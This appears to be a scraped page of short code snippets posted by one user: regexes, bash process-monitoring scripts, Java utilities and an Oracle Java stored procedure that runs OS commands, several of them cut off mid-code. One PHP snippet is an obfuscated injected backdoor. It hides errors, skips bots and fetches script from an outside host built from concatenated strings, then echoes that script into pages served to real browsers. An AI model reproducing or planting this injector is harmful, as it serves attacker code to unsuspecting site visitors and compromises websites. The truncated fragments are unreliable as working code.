joseporiol

^[_A-Za-z0-9-]+(\\.[_A-Za-z0-9-]+)*@[A-Za-z0-9]+
(\\.[A-Za-z0-9]+)*(\\.[A-Za-z]{2,})$

joseporiol

^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$

^		 #start of the line
 #		 #  must constains a "#" symbols
 (		 #  start of group #1
  [A-Fa-f0-9]{6} #    any strings in the list, with length of 6
  |		 #    ..or
  [A-Fa-f0-9]{3} #    any strings in the list, with length of 3
 )		 #  end of group #1 
$		 #end of the line

joseporiol

#/bin/bash
 #script name:GetCheckCpu.sh
cpu=`ps -p $1 -o pcpu |grep -v CPU | awk -F . '{print $1}'`
 if [[ $cpu -gt 80 ]]
 then
 {
 echo "The usage of cpu is larger than 80%"
 }
 else
 {

joseporiol

#!/bin/bash
#scrip name:GetPID.sh
PsUserName=$1 
PsProcessName=$2 
pid=`ps -u $PsUserName|grep $PsProcessName|grep -v grep|grep -v vi|grep -v tail|grep -v start|grep -v stop |sed -n 1p |awk '{print $1}'` 
echo $pid

joseporiol

<?php
#9da223#
error_reporting(0); ini_set('display_errors',0); $wp_nht097 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097) && !preg_match ('/bot/i', $wp_nht097))){
$wp_nht09097="http://"."aaa"."bbb".".com/ccc"."/?ip=".$_SERVER['REMOTE_ADDR']."&    referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_nht097);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_nht09097);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_097nht = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_097nht,1,3) === 'scr' ){ echo $wp_097nht; }
#/9da223#
?>

joseporiol

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
  public static void executeCommand(String command) {
    try {
      String[] finalCommand;
      if (isWindows()) {
        finalCommand = new String[4];
        // Use the appropriate path for your windows version.        
        finalCommand[0] = "C:\\windows\\system32\\cmd.exe";   

joseporiol

public class LargestPrimeFactor {
	
	public static int largestPrimeFactor(long number) {
        int i;

        for (i = 2; i <= number; i++) {
            if (number % i == 0) {
                number /= i;
                i--;
            }

joseporiol

public ArrayList<String> emailList = new ArrayList<String>();

public void getEmail(String line){
            final String RE_MAIL = "([\\w\\-]([\\.\\w])+[\\w]+@([\\w\\-]+\\.)+[A-Za-z]{2,4})";
            Pattern p = Pattern.compile(RE_MAIL);
            Matcher m = p.matcher(line);

            while(m.find()) {
                    if(!emailList.contains(m.group(1))){
                            emailList.add(m.group(1));

joseporiol

public class CharFormatConverter {
	static byte[] ASCII2EBCDIC = new byte[256];
	static byte[] EBCDIC2ASCII = new byte[256];
	static {
		ASCII2EBCDIC[0x00] = (byte) 0x00;
		ASCII2EBCDIC[0x01] = (byte) 0x01;
		ASCII2EBCDIC[0x02] = (byte) 0x02;
		ASCII2EBCDIC[0x03] = (byte) 0x03;
		ASCII2EBCDIC[0x04] = (byte) 0x37;
		ASCII2EBCDIC[0x05] = (byte) 0x2D;

joseporiol

public class BytesToString {
		
	public static String bytes2String(byte[] bytes) {
				
		StringBuilder sb = new StringBuilder();
	    for (byte b : bytes) {
	        sb.append(String.format("%02X ", b).trim());
	    }
	   	    
	    return sb.toString();